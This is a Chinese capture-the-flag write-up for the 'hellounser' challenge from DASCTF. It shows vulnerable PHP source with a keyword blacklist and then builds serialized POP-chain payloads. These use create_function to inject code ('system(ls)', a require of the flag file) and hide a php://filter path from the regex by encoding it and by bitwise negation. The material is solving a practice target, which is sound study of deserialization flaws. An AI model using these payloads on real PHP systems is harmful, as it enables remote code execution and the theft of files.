DASCTF Sept X 浙江工业大学秋季挑战赛 hellounser

我傻逼,当时没做出来,赛后看wp才理解,正则也要复习复习了

<?php
class A {
    
    
    public $var;
    public function show(){
    
    
        echo $this->var;
    }
    public function __invoke(){
    
    
        $this->show();
    }
}
class B{
    
    
    public $func;
    public $arg;
    public function show(){
    
    
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
    
     
            die('No!No!No!'); 
        } else {
    
     
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    public function __toString(){
    
    
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    } 
}

if(isset($_GET['pop'])){
    
    
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    
    
    highlight_file(__FILE__);
}
?>

首先能出flag的地方只有B里show函数的文件包含部分,怎么调用这个show函数?同B类的__toString调用了,如何调用__toString?

__toString 当一个对象被当作一个字符串被调用。

对象当作字符串用,A里的show函数,输出var就是输出字符串,所以把这个var定义为B的对象,即可触发__toString,这个输出var是A的show方法,__invoke就会调用这个show方法

__invoke() 当脚本尝试将对象调用为函数时触发

下面的把pop接收后反序列化给 a a a ,而后 aaa,而后 aaa,而后aaa(),就满足了把对象当函数用

现在链子清楚了,我们可以看看如何构造命令,正则意思是func从开头到字母不能是纯数字或字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号。这里很好绕过,比如含有一个_即可绕过。或者开头换行符号都可以

$arg过滤了一大堆东西,都满足就会包含flag.php,然后func作为函数名,两个参数一个空一个arg

这里可以使用create_function()这个函数,这个函数会创建匿名函数,内部会跟eval差不多的功能,所以代码注入

return(1);}任意代码;//

我们先看下目录

<?php
class A {
    
    
    public $var;   
}
class B{
    
    
    public $func;
    public $arg;
}
$a=new A;
$a->var=new B;
$a->var->func="create_function";
$a->var->arg='return(1);}system(ls);//';
echo serialize($a);
?>

Tru3flag.php应该就有真flag,包含此文件并输出,这里直接写会因为含有flag被正则过滤,所以需要编码后,输出

<?php
class A {
    
    
    public $var;   
}
class B{
    
    
    public $func;
    public $arg;
}
$a=new A;
$a->var=new B;
$a->var->func="create_function";
$a->var->arg='return(1);}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//';
echo serialize($a);
?>

返回一个包含所有已定义变量列表的多维数组,var_dump则是输出这个多维数组内容

还有一种取反的方法,我写的payload老是错,分段写比较好,但是我还是写一起了

<?php
class A {
    
    
    public $var;   
}
class B{
    
    
    public $func;
    public $arg;
}
$a=new A;
$a->var=new B;
$a->var->func="create_function";
$a->var->arg='return(1);}require(~('.strval(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php')).'));//';
echo urlencode(serialize($a));
?>

这里对伪协议取反,然后strval转化成字符串,两边的点是为了把这个取反后的字符串跟两端代码连接在一起。不分开连,直接写字符串,会被认为是整体的一串字符,然后被正则过滤,因为取反后有许多不可见字符,因此需要url编码

得到的base64代码,解码即出flag

猜你喜欢

转载自blog.csdn.net/qq_45619909/article/details/128946920